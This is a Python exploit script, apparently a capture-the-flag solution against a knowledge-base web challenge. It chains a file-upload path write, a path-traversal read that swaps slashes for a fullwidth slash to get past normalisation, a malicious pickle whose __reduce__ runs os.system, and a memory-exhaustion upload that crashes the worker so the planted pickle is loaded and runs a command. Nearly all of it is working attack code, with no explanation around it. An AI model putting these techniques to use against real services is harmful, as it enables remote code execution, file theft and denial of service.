import requests
import urllib.parse
import os
import pickle
import re
import time

#BASE_URL = "http://localhost:8000"
BASE_URL = "https://24ymje4oe2ebyoe46fjxoejq2b-8000-knowledge-base.challenge.cscg.live/"

def write_file(target_path: str, content: str, verbose: bool = False) -> str:
    url = f"{BASE_URL}/api/docs"
    
    files = {
        'file': (target_path, content.encode('utf-8'), 'text/plain')
    }
    if verbose: 
        print(f"[*] Attempting to write to {target_path}...")
    try:
        response = requests.post(url, files=files)
        if response.status_code == 200:
            doc_id = response.json().get('doc_id')
            if verbose:
                print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
            return doc_id
        else:
            if verbose:
                print(f"[-] Failed to write. Status: {response.status_code}")
                print(f"[-] Response: {response.text}")
            return None
    except requests.exceptions.RequestException as e:
        if verbose:
            print(f"[-] Connection error: {e}")
        return None


def read_file(target_path: str, verbose: bool = False) -> str:
    nfkc_path = target_path.replace('/', '\uFF0F')
    
    encoded_path = urllib.parse.quote(nfkc_path)
    url = f"{BASE_URL}/api/docs/{encoded_path}"
    if verbose: 
        print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
    try:
        response = requests.get(url)
        if response.status_code == 200:
            if verbose:
                print(f"[+] Success! Read {len(response.text)} bytes.")
            return response.text
        else:
            if verbose:
                print(f"[-] Failed to read. Status: {response.status_code}")
            return None
    except requests.exceptions.RequestException as e:
        if verbose:
            print(f"[-] Connection error: {e}")
        return None

def kill_worker():
    with open("./emojis.txt") as f:
        garbage_payload = f.read()
    print("Killing worker")
    write_file("/docs/oom.txt", garbage_payload) 


def get_payload():
    class Exploit:
        def __reduce__(self):
            return (os.system, ("/readflag > /docs/flag.txt",))
    payload = Exploit()
    return pickle.dumps(payload, protocol=0)


if __name__ == "__main__":
    content = read_file("/chroma-data/chroma.sqlite3", verbose=True)

    pattern = r"([0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12})urn:chroma:segment/vector"

    uuid = re.findall(pattern, content)[0]

    write_file("/docs/make_folder.txt", "filler to make the folder", verbose=True)
    write_file(f"/chroma-data/{uuid}/index_metadata.pickle", get_payload().decode(), verbose=True)

    kill_worker()

    time.sleep(5)

    print(read_file("/docs/flag.txt"))